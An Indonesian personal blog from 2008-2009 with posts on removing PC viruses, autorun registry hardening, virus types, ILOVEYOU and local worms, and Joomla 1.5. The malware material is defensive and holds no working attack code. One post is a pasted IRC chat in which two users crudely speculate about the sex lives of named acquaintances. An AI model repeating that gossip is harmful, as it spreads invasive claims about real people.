DieMaZJeNThaBloG

Mendelete Fun.exe

2009-01-09T09:07:00.000-08:00

humss, aku ingat sesuatu. Ini dia artikel 2 minggu kelon dikomputer saia, kok gak terbit... akhirnya terbit juga. bahas yuks...

Joker! yeah. virus joker sebelumnya sudah lama ada, namun tidak aku masukin dalam archive blog, lain kali saja lah. sudah lama juga ilang tuh. uffss, sapa bilang? emang sih, tapi ini ada anakan dari virus tersebut. Fun.exe, sebelumnya belum kutemukan di Vista, setlah kembali lagi ke XP, virus ini menjengkelkan dan menyenangkan. selalu muncul dalam startup, sudah kucoba untuk tidak mengaktifkan, di registry juga sudah ku delete, setelah refresh atau restat, muncul lagi tuh, malah di msconfig ada cadangannya.solusi pun ada didepan mata. pakek antivirus dums! DONE! antivir sudah ku instal, tapi menurutku ini telat, karena sudah tersimpan dalam registr n system.gak ada salahnya kan mencoba?. tetap saja nih, gak ngefek. Kupikir antivir ku yang telat, antivir apa yang bisa menghapus? coba utak-utik pakek VB, malah bingung sendiri. XP SP3, katanya sih sudah mendekati Vista dalam kethanan virusnya, namun tetep saja masih bisa kena virus.banyak forum ku kunjungi guna cari tahu delete fun.exe, namun saran demi saran sudah ku jalani tetep saja nih,dari antivir gratisan n berbayar sudah.

ciri-ciri yang terjadi pada komputer ku :

1. Komputer lambat dalam segala hal.
2. Adanya folder.exe dalam folder baru.
3. foder.exe tidak bisa dihapus biasa. tapi jika discan mampu dimusnahkan.

4. Virus ini hanya sebesar 56,7kb

nah,ini dia caranya...

perlu diketahui, ini virus spyware n spy hunter, Fun.exe memiliki sodara, yaitu DC.exe dan MD.exe,gak mesti ketiganya ada, terlebih si JOKER! dilaptop saya cuma dc.exe dan fun.exe.

coba pakek saja :

spyhunter n spyware scanner

otamtis menditeksi virus tersebut, tapi sebelumnya mohon untuk coba pakek antivirus lainnya, karena ternyata dilain komputer virus ini mampu diditeksi dengan antivirus gratisan yang sudah lama gak update, khususnya XP SP2. gud lak!

Apa ini?

2009-01-09T08:57:00.000-08:00

Nahhh, ini dia yang bikin aku pusing. baru juga tadi(9january'09) sore. FD ku propertis, gila! bisa nyampe 149...GB. padahal FD ku cuma 2GB. kenapa ya. karena bingung dan ngantuk, data juga sudah ku backup, langsung saja ku pormad. setelah itu aku lupa untuk savescreen. jadi anda anda tidak tahu. mudah-mudahan ada lagi dan aku bisa bikin screen nya buat jadi pembelajaran. mari kita sukseskan pervirusan dan antivirus indonesia. tergantung bagaimana kita menyikapinya. thank's.

MENCEGAH VIRUS LEWAT FLASHDISK

2009-01-06T15:23:00.000-08:00

Flashdiskku kena virus!!! Damn!! Satu-satunya hartaku yang bisa dibawa kemana-mana tamat sudah. Yap! Itulah yang terjadi padaku beberapa minggu lalu. Namun permasalahannya adalah sederhana, virus ini menginfeksi autorun yang ada pada flashdisk kita. Dan yang jadi penyebab utamanya adalah komputer kita sendiri. Mengapa kok mau menjalankan virus? Hahahaha!
Oke, kita mulai saja membedah sedikit registry computer kita.

1.Buka regedit editor [dari menu RUN ketik regedit].
2.Carilokasi: KEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3.Buat Key baru dengan cara klik kanan, lalu NEW, lalu piloh DWORD VALUE. Beri nama NoDriveAutoRun
4.Double klik untuk mengisi nilai. Piliih base DECIMAL dan isikan Value data dengan nilai 67108863.
5.Lakukan hal sama pada:
KEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.
6.RESTAT coyyyyy.
7.Satu rahasia : jangan lupa pencet tombol SHIFT.

ada satu hal lagi yang sebenarnya perlu dibahas yaitu, jika Flashdisk kita sudah tidak mau dikenali lagi. Namun akan saya buat terpisah dari ini. Karena masih dalam masa percobaan dan untuk menambah artikel saya selanjutnya. Hohoho. Dan semua adalah nyata.

Mengenal File Yang Mudah Terjangkit Virus

2009-01-06T15:17:00.001-08:00

Tidak terpungkiri, sebagian dari kita mengenal virus hanya berupa file .exe (dot exe) atau aplikasi saja, namun sebenarnya banyak tipe file yang berpotensi terinfeksi virus, dan bisa menyebar ketika dijalankan. Sering kita tak menyadari hal tersebut. Berikut beberapa file yang bias/sering terinfeksi virus:

Binary Executable File
File ini diterjemahkan sebagai program dalam system, ada beberapa tipe dalam windows, diantaranya adalah EXE (executable/aplikasi), tipe ini paling sering terinfeksi virus, bisa menempel dalam file begitu dijalankan, untuk itu Anda disarankan untuk memiliki file aslinya, maka ZIP saja atau RENAME untuk mengurangi resiko virus. Beberapa virus yang menginfeksi EXE misalnya w32/Virut, Troxa, Sality dan lainnya.
DLL (Dinamic Link Library) dan OCX yang formatnya sama dengan EXE, hanya saja tidak langsung dijalankan, melainkan digunakan oleh file EXE lainnya.
SCR (Screensaver), file ini juga seperti EXE, namun berekstensi SCR. Ketika dijalankan, screensaver ditampilkan, namun sebenarnya virus ini aktif, hanya saja menempel pada file SCR Anda.
COM file (Command File). Bias berupa text atau Binary File yang dijalankan under DOS / MS DOS.
SYS (Device Driver). Merupakan file binary yang digunakan untuk driver.

File Dokumen
File dokumen yang biasa terinfeksi adalah file DOC(Word), XLS(Exel) dan MDB(Access database). Virusnya biasanya merupakan virus macro, yang aktif jika virus tersebut dijalankan dan bias menginfeksi template file (file DOT) sehingga semua file yang dibuka selanjutnya akan terkena virus. Tidak menutup kemungkinan file PDF juga terinfeksi, karena beberapa kali saya menemukan file PDF terkena virus. Namun masih belum ngetren.

File Script dan lainnya
Merupakan file yang berisi script yang dapat dijalankan langsung dikomputer kita, yang fungsinya dapat untuk mengontrol software dan aplikasi yang kita gunakan. Beberapa file diantaranya adalah :
BAT (Batch File). Merupakan file script di MSDOS dan Windows
VBS(VBScript). Script windows dengan bahasa visual basic.
JS(JavaScript). File ini tidak langsung aktif, melainkan dijalankan oleh web browser atau HTML. Cenderung mudah terkena Trojan.
INF. Virus ini dapat menempel pada tipe instalasi software, terlebih autorun.
Folder.htt. file ini merupakan file konfigurasi folder yang berisi script kode dan dapat memodifikasi isinya untuk menjalankan kode tertentu dengan sendirinya. Hal ini bias juga terjadi pada file Desktop.ini

Mengenal File Yang Mudah Terjangkit Virus

2009-01-06T15:17:00.000-08:00

Naruto jadi virus?

2008-07-26T21:36:00.000-07:00

Nah, sekarang tertawalah karena ini hanya gurauan yang berarti. Hahahahaha!!
Gila!!! Anda penggemar film kartun Naruto??? Anda pasti kenal dengan istilah Hokage, gelar ninja terkuat yang dambakan dan diinginkan Naruto. Di Indonesia, Naruto ini juga terkenal dengan sebutan virus. Loh kok bisa? Namanya juga orang Indo, siapa yang gak tau keusilan orang Indonesia? Semua tau!!
Saat ini virus Hokage ditengarai tengah berkeliaran. Dalam keterangan resmi Vaksincom yang diterima detikINET, Kamis (10/4/2008), Hokage yang juga dikenal dengan VBWorm.Gen16 menggunakan icon Winamp untuk mengelabui user. Namun sebenarnya, virus ini merupakan sebuah file aplikasi (exe).
Berukuran 42 KB, Hokage dibuat dengan menggunakan bahasa Visual Bacis (VB) dan dikompresi dengan menggunakan UPX. Hokage (sementara ditengarai) kemungkinan berasal dari daerah Sampit, ibu kota Kabupaten Kotawaringin Timur di Kalimantan Tengah, Indonesia. Salah satu ciri yang menonjol dari virus Hokage adalah berubahnya icon Flash Disk menjadi icon Winamp.
Jika berhasil menginfeksi komputer, Hokage akan membuat beberapa file yang akan dijalankan pertama kali setiap komputer dinyalakan. File ini akan disembunyikan sehingga tidak mudah untuk dihapus. Beberapa file yang akan dibuat oleh VBWorm.gen16 adalah HOKAGE4.EXE, HokageFile.exe, KakashiHatake.exe, Obito.exe, Rin.exe.
Hokage juga akan membuat file “Hokagefile.exe” di setiap folder/subfolder yang diakses. Untuk varian awalnya, tidak banyak fungsi Windows yang diblok, tetapi Hokage akan mengusili Folder Options yakni dengan tidak mengizinkan user untuk menampilkan file yang tersembunyi.

joomla 1.5.3 stable

2008-07-16T02:14:00.000-07:00

Bikin web? ada cara gampang,pake aja Joomla.
Joomla 1.5 Final/Stable version dirilis juga. Dibandingkan versi sebelumnya yaitu Joomla 1.0.x, Joomla 1.5 memang memiliki perbedaan yang cukup signifikan baik dari sisi arsitektur atau struktur pemrograman, fitur hingga user interface. Secara garis besar fitur-fitur terbarunya adalah sebagai berikut:
1. Kompatibilitas dengan PHP 4.3 dan PHP 5
2. Struktur pemrograman berdasarkan Model-View-Controller (MVC)
3. Perbaikan Accessibility
4. Multilanguage Support
o Full UTF-8
o RTL support
o Penterjemahan bahasa menggunakan file INI
5. Administrasi (Sistem BackEnd)
o Penyederhanaan tampilan administrasi
o Perbaikan sistem pagination
o Search engine friendly
o Media Manager
 Penambahan beberapa fitur seperti multi-delete, batch upload, dll
 Perbaikan user interface; tampilan thumbnail dan detail
 Penambahan seting konfigurasi
o Extension Manager
 Installer tunggal
 Kemampuan untuk menonaktfikan komponen
o Article Manager
 Perubahan nama dari "Content Items" menjadi "Articles"
 Penggunaan 1 editor dalam penulisan article (versi sebelumnya terdapat 2 editor untuk intro text dan full text)
 Penambahan Image Manager diluar kemampuan text editor
 Penyederhanaan tampilan
 Penggabungan fungsi pengarsipan (archive) ke dalam Article Manager
 Perbaikan sistem pagebreak dan penanganan read more (intro text dan full text)
o Menu Manager
 Default item menu yang fleksibel di bagian Main Menu (tidak harus menu yang pertama yang menjadi default frontpage)
 Penyederhanaan proses pembuatan menu
 Kemudahan mengganti tipe menu tanpa harus menghapusnya terlebih dahulu
o Template Manager
 Perbaikan sistem dan tampilan template sehingga desainer memiliki kontrol penuh di layout website
 Perubahan sistem module position dari database ke file templateDetails.xml
 Penggunaan PATTemplate
6. Site (Sistem FrontEnd)
o Full support untuk feeds (atom 1.0 dan rss 2.0) yang mana feeds digenerate dari keseluruhan kategori dan section artikel, weblink serta contacts
o Perbaikan penanganan error yang menampilkan pesan error 404, 403 dan 500 dengan benar (Pesan error bisa dimodifikasi oleh desainer)
o Perbaikan penanganan kehilangan password (didasarkan pada username atau alamat email)
7. Application Framework
o Libraries
 FTP filesystem
 LDAP support
 PDF Library baru
 XML RPC support
o Component Framework
 MVC pattern support
 Pathway support
 Perbaikan sistem SEF
o Perbaikan cache
 Perbaikan mekanisme cache untuk mempercepat performa website
 Implementasi cache template, extension dan halaman website
o Database driver
8. Extendibility (Tidak perlu nge-hack core Joomla lagi bila ingin menambahkan fungsi-fungsi baru dan cukup dengan membuat extension baru)
9. Backwards compatibility (kemudahan migrasi dari versi sebelumnya dan selanjutnya)

gosip lagiii

2008-03-28T21:57:00.000-07:00

-
SEBAGIAN TEXT SENGAJA SAYA HAPUS DIKARENAKAN TIDAK PENTING
SELAMAT MENIKMATI { #antiseriuslink , allnet }
============================================================================
[11:37] +LaLi_JeNeNk+ mirip amink luak
[11:37] +wiNDDix+ haieaiehaiheiaheia
[11:37] +wiNDDix+ eh gimana amink sering kelon yak
[11:37] +LaLi_JeNeNk+ wik
[11:37] +LaLi_JeNeNk+ yu mbuh kang
[11:37] +LaLi_JeNeNk+ aku ra ruh
[11:37] +wiNDDix+ lo kan sering ndek kamar depan mbek ceret
[11:38] +LaLi_JeNeNk+ nahhh
[11:38] +wiNDDix+ mosok ndak berasa petjuh
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] +LaLi_JeNeNk+ ndak blas
[11:38] +wiNDDix+ ih ngakak dadikno
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] wew
[11:38] +wiNDDix+ jarene wis di tusuk
[11:38] +LaLi_JeNeNk+ wedew
[11:38] +LaLi_JeNeNk+ ndak tau saia bah
[11:38] +LaLi_JeNeNk+ gak pernah tanya hal itu
[11:38] +wiNDDix+ hemm kurang menggosip si kamu
[11:38] +LaLi_JeNeNk+ luak juga gak ceritaaaaaa
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] +LaLi_JeNeNk+ ehauaehuaehauhuaehaeuhuaeheuahaeuhueahuaehuaehuae
[11:38] +wiNDDix+ ouhh
[11:39] +LaLi_JeNeNk+ wew
[11:39] +LaLi_JeNeNk+ tapi sering yah ditidurin dikontrakan
[11:39] +LaLi_JeNeNk+ sering gosip nuh?
[11:39] +LaLi_JeNeNk+ wew
[11:39] * wiNDDix cuman pendengar setiah kok
[11:39] +LaLi_JeNeNk+ gak bah
[11:39] +LaLi_JeNeNk+ gak pernah tisur sana si ceret
[11:39] +wiNDDix+ tisur ?
[11:39] +wiNDDix+ nyai tisur ta
[11:39] +LaLi_JeNeNk+ cuma si lindut yang prnah tidur sana
[11:39] +wiNDDix+ ekekekkekeeke
[11:39] +LaLi_JeNeNk+ ehuaehaeuhaeuhae
[11:39] +wiNDDix+ ouhh
[11:39] +LaLi_JeNeNk+ tidur
[11:39] +wiNDDix+ lindut sapa si
[11:40] +LaLi_JeNeNk+ la
[11:40] linda
[11:40] +wiNDDix+ owalahh
[11:40] +LaLi_JeNeNk+ lind_muach
[11:40] +LaLi_JeNeNk+ eaheuaheuhae
[11:40] +wiNDDix+ lohh mang bener ta itu tidur bareng
[11:40] +LaLi_JeNeNk+ ndak....
[11:40] +LaLi_JeNeNk+ amink dek jobo
[11:40] +wiNDDix+ wuhh ndodol dunk
[11:40] +LaLi_JeNeNk+ linda dek kamar
[11:40] +LaLi_JeNeNk+ amink ae po wani
[11:40] +wiNDDix+ aih sapa tau nek tengah malem mlebu
[11:41] +LaLi_JeNeNk+ wekekekekek
[11:41] +LaLi_JeNeNk+ wong melek an
[11:41] +LaLi_JeNeNk+ yu mbuh nehhh
[11:41] +LaLi_JeNeNk+ ehauehuaheuhauehaueh
[11:41] +LaLi_JeNeNk+ tanya saja pada yang berwenang
[11:41] +wiNDDix+ hehehehhee
[11:41] +LaLi_JeNeNk+ heuahuehuaheuahe
[11:41] +wiNDDix+ nek cher gimana wis tau nginep
[11:42] +LaLi_JeNeNk+ waduh
[11:42] * LaLi_JeNeNk gak pernah tau cher lama² di kontrakan
[11:42] +LaLi_JeNeNk+ mesti dilut
[11:42] +LaLi_JeNeNk+ amink kan letoi
[11:42] +wiNDDix+ hemm sik seret dunk kayak e
[11:42] +LaLi_JeNeNk+ peltu
[11:42] +wiNDDix+ wedew
[11:42] +LaLi_JeNeNk+ huehuaehuaehuaehuaeheahuaehuaehauheuahuaehue
[11:42] +LaLi_JeNeNk+ huehuaehuaehuaehuaeheahuaehuaehauheuahuaehue
[11:42] +wiNDDix+ ndak cak cek yakk
[11:42] +LaLi_JeNeNk+ huehuaehuaehuaehuaeheahuaehuaehauheuahuaehue
[11:43] +wiNDDix+ ekekekkeoekoekoekoe
[11:43] +LaLi_JeNeNk+ rusakkkkkkkkkkkkk
[11:43] +wiNDDix+ lo normal bO`
[11:43] <+LaLi_JeNeNk+ huaehuaheu
[11:43] +LaLi_JeNeNk+ ya ya ya
[11:43] +wiNDDix+ berarti mereka berdua sik lom suk tusukan yak kesimpulane
[11:44] +LaLi_JeNeNk+ maybe
[11:44] +LaLi_JeNeNk+ mana saia tau juga
[11:44] +LaLi_JeNeNk+ ehuaeaeuhaeu
[11:44] +LaLi_JeNeNk+ mbuh wes
[11:44] +wiNDDix+ humm yayayaya
[11:44] +LaLi_JeNeNk+ takok dw aw
[11:44] +LaLi_JeNeNk+ ya ya ya
[11:44] +LaLi_JeNeNk+ ehauhuehuhueaue
[11:44] +wiNDDix+ sek ya
[11:44] +LaLi_JeNeNk+ lapo?
[11:44] +LaLi_JeNeNk+ kerjo a?
[11:45] +wiNDDix+ ndak nih lo ndek rumah
[11:45] +wiNDDix+ sekk mo pipis
[11:45] +LaLi_JeNeNk+ akakkakakaka

2008-03-28T02:47:00.000-07:00

jenis virus

2008-03-24T20:56:00.000-07:00

Untuk lebih mempertajam pengetahuan kita tentang virus, dalam artikel ini saia akan coba memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran di masyarakat umum. sengaja saia menjelaskannya sekarang, agar kita tau dulu bahaya nya.
1. Virus Makro
Jenis virus ini pasti sudah sangat sering kita dengar. Virus ini ditulis dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila aplikasi pembentuknya dapat berjalan dengan baik. Sebagai contoh jika pada komputer mac dijalankan aplikasi Word, maka virus makro yang dibuat dari bahasa makro Word dapat bekerja pada komputer bersistem operasi Mac ini.
Contoh virus:
- Varian W97M, misal W97M.Panther
Panjang 1234 bytes, akanmenginfeksi NORMAL.DOT dan menginfeksi dokumen apabila dibuka. - WM.Twno.A;TW
Panjang 41984 bytes, akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa makro, biasanya berekstensi *.DOT dan *.DOC
- dll
2. Virus Boot Sector
Virus Boot sector ini sudah umum sekali menyebar. Virus ini dalam menggandakan dirinya, akan memindahkan atau menggantikan boot sector asli dengan program booting virus. Sehingga saat terjadi booting maka virus akan diload ke memori dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar
(contoh : monitor, printer dsb) dan dari memori ini pula virus akan menyebar ke seluruh drive yang ada dan yang terhubung ke komputer (contoh : floopy, drive lain selain drive c:). Contoh virus :
- Varian virus wyx
ex: wyx.C(B) menginfeksi boot record dan floopy ;
Panjang :520 bytes;
Karakteristik : memory resident dan terenkripsi.
- Varian V-sign :
Menginfeksi : Master Boot Record ;
Panjang 520 bytes;
Karakteristik : menetap di memori (memory resident),terenkripsi, dan polymorphic)
- Stoned.june 4th/ bloody!:
Menginfeksi : Master Boot Record dan floopy;
Panjang 520 bytes;
Karakteristik : menetap di memori (memory resident), terenkripsi dan menampilkan pesan "Bloody!june 4th 1989" setelah komputer melakukan booting sebanyak 128 kali.
3. Stealth Virus
Virus ini akan menguasai tabel interrupt pada DOS yang sering kita kenal dengan "Interrupt interceptor". Virus ini berkemampuan untuk mengendalikan instruksi-instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya baik secara penuh ataupun ukurannya. Contoh virus :
- Yankee.XPEH.4928,
Menginfeksi file *.COM dan *.EXE ;
Panjang 4298 bytes;
Karakteristik: menetap di memori, ukurantersembunyi, memiliki pemicu
- WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth dimasukkan pula disini), Menginfeksi floopy an motherboot record;
Panjang 520 bytes;
Karakteristik : menetap di memori; ukuran dan virus tersembunyi.
- Vmem(s):
Menginfeksi file file *.EXE, *.SYS, dan *.COM ;
Panjang fie 3275 bytes;
Karakteristik:menetap di memori, ukuran tersembunyi, di enkripsi.
- dll
4. Polymorphic Virus
Virus ini Dirancang buat mengecoh program antivirus, artinya virus ini selalu berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah strukturnya setiap kali selesai menginfeksi file/program lain. Contoh virus:
- Necropolis A/B,
Menginfeksi file *.EXE dan *.COM;
Panjang file 1963 bytes;
Karakteristik: menetap di memori, ukuran dan virus tesembunyi,terenkripsi dan dapat berubah ubah struktur
- Nightfall,
Menginfeksi file *.EXE;
Panjang file 4554 bytes;
Karakteristik : menetap di memori, ukuran dan virus tesembunyi,memiliki pemicu, terenkripsidan dapat berubah-ubah struktur
- dll
5. Virus File/Program
Virus ini menginfeksi file-file yang dapat dieksekusi langsung dari sistem operasi, baik itu file *.EXE, maupun
*.COM biasanya juga hasil infeksi dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya.
6. Multi Partition Virus
Virus ini merupakan gabungan dari virus boot sector dan virus file. Artinya pekerjaan yang dilakukan berakibat dua, yaitu dia dapat menginfeksi file-file *.EXE atau *.COM dan juga menginfeksi boot sector.

Word dan Excel terkena virus ? Jangan dihapus dulu !!

2008-03-11T01:54:00.000-07:00

maaf mungkin repost, hanya ingin membagi ilmu dan pengatahuan pada semua orang, saia bukan orang yang pintar, namun dengan keterbatasan saia, saia siap memberikan info walaupun ala kadarnya.

File dokumen ( Ms Word dan Excel ) terkena virus? itu bisa saja terjadi, kejadiannya seperti ini.. Setiap dibuka folder yang berisi file ber-ekstensi *.doc dn *.xls maka file tersebut akan berubah menjadi virus ( ber-ekstensi *.exe ) dan jika dipaksa dibuka dengan word/excel maka tampilannya akan kacau balau. Akhirnya beberapa teman menghapus file tersebut, yang sebenarnya merupakan file yang cukup penting. Karena ukuran dan ciri virus ( signature ) tidak tetap, maka berbagai anti virus yang sudah dicoba tidak bisa mendeteksi, walau dengan update terbaru.

Setelah melihat sendiri file yang terinfeksi virus, sebenarnya si pembuat virus tidak terlalu “jahat”, karena dokumen itu masih bisa di selamatkan 100%. Virus itu hanya menambahkan file dokumen ke dalam dirinya sendiri sehingga ukurannya berbeda-beda sesuai dengan ukuran file. Terus bagaimana cara menyelamatkan dokumennya ?

Buka file yang terinfeksi virus dengan aplikasi Hex Editor, jika belum punya silahkan download Hexapad ( 180 KB), mungkin free Hex editor yang terkecil, karena hanya 82 KB tapi dengan berbagai fasilitas dan bahkan source codenya disertakan.
Buka juga file *.doc atau *.xls yang tidak terkena virus (jika tidak ada silahkan membuat file doc atau xls baru ) dengan hexapad.
Ada tiga bagian di tampilan hexapad. Mulai dari kiri adalah offset ( alamat kode ), Kode ( dalam bilangan Hexadesimal ) dan paling kanan adalah kode dalam text.
Coba perhatikan awal kode antara file yang terinfeksi virus dan yang asli. File yang terinfeksi diawali dengan kode hex = 4D 5A … ( text : MZ …) dan file asli Hex = D0 CF 11 E0 A1 … (ÐÏ.à¡±.á … ). Masing-masing merupakan bagian dari header file yang selalu sama. kode MZ untuk file seperti *.exe dan *.dll.
Karena header file asli sudah tahu, maka selanjutnya tinggal mencari kode D0 CF 11 E0 A1 ( sepertinya 3 kode awal sudah cukup ) di file yang terinfeksi virus. caranya buka pencarian ( Ctrl+F) dan isikan di bagian Kode nilai D0 CF 11 E0 A1 ( beri spasi antar kode ). dan klik search.
Setelah ditemukan maka itulah awal file doc atau xls-nya. Tinggal memilih kode mulai dari kode sebelum D0 CF … sampai awal kode dan hapus. Kemudian save as dengan ekstensi yang sesuai doc / xls.

Langkah-langkah diatas dapat dilakukan jika file yang terinfeksi tidak banyak, tetapi jika filenya banyak tentu sangat menyita waktu. Misalnya ketika disini file yang terinfeksi 200 lebih, maka diperlukan tool/ program khusus untuk merecovery file tersebut. Mudah-mudahan berhasil.

Virus Perawan

2008-03-10T01:54:00.000-07:00

Kembali virus lokal beraksi, kali ini virus tersebut dikenal dengan nama 'Sang Perawan'. UPDATE (22/Feb/08 16.00 WIB klik disini untuk info n cara membersihkannya!
Adalah Sang Perawan alias Dinda Dewi, virus ini sebenarnya merupakan virus lama yang pernah muncul di pertengahan tahun 2007, tetapi pada awal tahun 2008 muncul beberapa variannya. Celakanya, mayoritas antivirus mancanegara maupun antivirus lokal tak mampu mendeteksi virus ini dengan baik sehingga Sang Perawan pun leluasa wara-wiri sampai hari ini.

Menurut keterangan tertulis Vaksincom oleh detikINET, Jumat (22/2/2008), Sang Perawan sudah menelurkan 2 varian. Varian pertama virus ini dikenal sebagai W32/Dewi.161081A, sedangkan varian keduanya dikenali sebagai VBTroj.GZH. Kedua virus ini dibuat dengan menggunakan Visual Basic. Varian pertama virus ini berukuran 301 KB, sedangkan varian keduanya berukuran 96 KB.

Untuk mengelabui user, kedua virus menyamar sebagai file image dengan menggunakan icon gambar (JPG). Tetapi jika file ditampilkan secara detail (View - Detail), file ini justru bertipe "Application". Pada saat virus ini aktif, kedua varian akan membuat beberapa file yang akan dijalankan setiap kali komputer dinyalakan.

Blok Fungsi Windows

Tidak seperti kebanyakan virus yang menyebar, varian pertama Sang Perawan (W32/Dewi.161081.A) tidak akan melakukan blok terhadap fungsi Windows sehingga lebih mudah untuk menghentikan proses virus tersebut. W32/Dewi.161081.A juga tidak membuat string pada registri Windows. Untuk memastikan agar dirinya dapat aktif ia akan membuat file duplikat pada "Startup" folder.

Berbeda dengan varian pertama, varian kedua virus Sang Perawan akan melakukan blok terhadap beberapa fungsi Windows seperti Task Manager, Regedit, Folder Option, Run dan Find. Untuk memastikan agar dirinya aktif setiap kali komputer dijalankan, selain membuat file duplikat di folder "Startup", VBTroj.GZH juga akan membuat string pada beberapa registri.

Injeksi file gambar JPG

Misi utama Sang Perawan adalah menginjeksi file gambar, namun tidak semua file gambar akan diserang. File yang menjadi target untuk saat ini adalah file gambar berformat JPG (JPEG Image). Virus ini akan menambahkan kode virus ke dalam body file yang akan disisipkan di awal header file tersebut. Nantinya ukuran file yang sudah diinjeksi akan bertambah yakni sebesar 301 KB atau 96 KB dari ukuran semula, tergantung dari varian yang menginfeksi komputer.

Selain menginjeksi file JPG, kedua varian virus ini juga akan membuat file duplikat di setiap folder dan sub folder. Proses pembuatan file duplikat dan injeksi file JPG inilah yang akan menyebabkan komputer yang sudah terinfeksi menjadi berat, karena alokasi memori digunakan oleh virus ini.

Ciri-ciri file duplikat yang dibuat virus ini antara lain:

* Menggunakan icon JPEG Image (JPG)
* Ukuran file 301 KB atau 96 KB (tergantung varian virus)
* Type File "Application"
* Mempunyai nama file yang sama dengan folder / sub folder tempat file duplikat tersebut dibuat.

I LOVE YOU virus

2008-03-10T01:49:00.001-07:00

Pernah dengar ILOVEYOU? Ini bukan sekedar kata-kata romantis saja, melainkan salah satu virus yang sangat haus darah segar dari komputer anda. Ini sebenarnya virus lama, namun saya akan beberkan beberapa hal tentang virus ILOVEYOU ini. Mohon maaf bila repost, komitmen saya hanya untuk memberikan info bagi teman-teman.

Bagi anda yang kaget dengan serangan virus ILOVEYOU atau setidaknya menjadi was-was dengan berita ganasnya virus tersebut, jangan kuatir. Beberapa produsen program antivirus kini telah memasang peringatan mengenai bahaya virus tersebut langsug di halaman depan situs mereka, lengkap dengan link untuk mendownload patched terbaru.

Bahkan beberapa media dan situs dalam serta luar negeri telah gencar menurunkan berita mengenai gerak-gerik virus tersebut, sehingga dapat meningkatkan kewaspadaan bersama. Berikut ini dipaparkan secara gamblang bagaimana menghadapi datangnya virus tersebut. Dilengkapi pula dengan bagaimana menangani sebuah komputer yang sudah terlanjur dijangkiti.

Cara menghadang datangnya virus ILOVEYOU :

Pertama

Jangan membuka e-mail yang tertulis"ILOVEYOU" pada baris subjectnya, tidak peduli siapapun yang mengirimkannya. E-mail tersebut adalah virus ILoveYou dan sangat merusak. Jika anda menerima pesan ILOVEYOU tersebut, segera hapus dari komputer anda sesegera mungkin.

Kedua

Segera hubungi orang yang mengirimkan e-mail tersebut atau tempat e-mail itu berasal, sehingga orang tersebut dapat mengetahui bahwa komputer dia telah terkena virus ILOVEYOU dan dapat segera dibersihkan. Apabila anda menggunakan mIRC, non-aktifkan segera pilihan untuk menerima file melalui DCC Send.

Ketiga

Download program antivirus terbaru untuk memeriksa dan menghilangkan virus. Umumnya, usahakan selalu memiliki program antivirus di dalam sistem komputer kita dan harus selallu di update secara teratur. Hal yang wajib dilakukan adalah: jangan pernah membuka file attachment yang dikirim melaui e-mail kecuali telah dilakukan pemeriksaan menggunakan program antivirus sebelumnya. Juga jangan pernah membuka attachment yang berasal dari alamat yang kita tidak kenal, karena terkadang membawa virus dan worm.

Keempat

Sangat disarankan apabila kita tidak menggunakan script Visual Basic dalam pekerjaan sehari-hari, sebaiknya menon-aktifkan option tersebut. Caranya:

- click Settings

- click Add/Remove

- click Windows Setup tab

- click Accessories untuk detil

- uncheck Windows Scripting Host

- click "ok" untuk menyimpan

Kelima

Jika kita telah tertular. Pada saat ini, hanya beberapa antivirus ( http://www.detik.com) yang telah mengeluarkan update nya untuk melawan virus ILOVEYOU. Jika telah terserang, segera lakukan penghapusan file :

- MSKernel32.vbs dari direktori Windows System

- Win32DLL.vbs dari direktori Windows

- LOVE-LETTER-FOR-YOU. TXT.vbs dari direktori Windows System

- WinFAT32.EXE dari direktori Internet download

- script.ini dari direktori mIRC

- LOVE-LETTER-FOR-YOU.HTM dari direktori Windows System

- Hapus semua e-mail yang mencurigakan seperti yang telah dideskripsikan di atas.

Virus tersebut melakukan pengrusakan sebagai berikut :

1. VBS, VBE:

Menulis ulang isi file itu sendiri dengan data program virus tersebut.

2. JS, JSE, CSS, VSH, HST, HTA:

Mengganti nama file dengan akhiran VBS dan menghapus isi asli file dengan data virus tersebut.

3. JPG, JPEG:

Mengganti nama file dengan akhiran VBS (hanya menambahkan akhiran ke file lama) dan menghapus isi asli file dengan data virus tersebut.

4. MP2, MP3:

Membuat file baru dengan akhiran VBS (hanya menambahkan akhiran ke file lama) dan menghapus isi asli file dengan data virus tersebut kemudian menyembunyikan file aslinya.

5. MIRC32.EXE, MLINK32.EXE, SCRIPT.INI, MIRC.HLP, MIRC.INI

Apabila ditemukan salah satu dari file tersebut maka akan dibuat file SCRIPT.INI di direktori tersebut yang telah dirubah isinya.

6. MSKERNEL32.VBS, WIN32DLL.VBS, LOVE-LETTER-FOR-YOU.TXT.VBS

Virus ini juga akan mengganti isi dari file tersebut dengan 'Cintanya'.

7. Juga mengatur di sistem registry dengan nama lengkap file :

MSKernel32.vbs, Win32DLL.vbs

8. Virus akan menambahkan perintah pada sistem registry :

Code Sample

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Run\MSKernel32

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

Virus VB mendominasi tangga Virus Lokal awal 2007

2008-03-10T01:16:00.000-07:00

Virus Lokal

Indonesia!!!

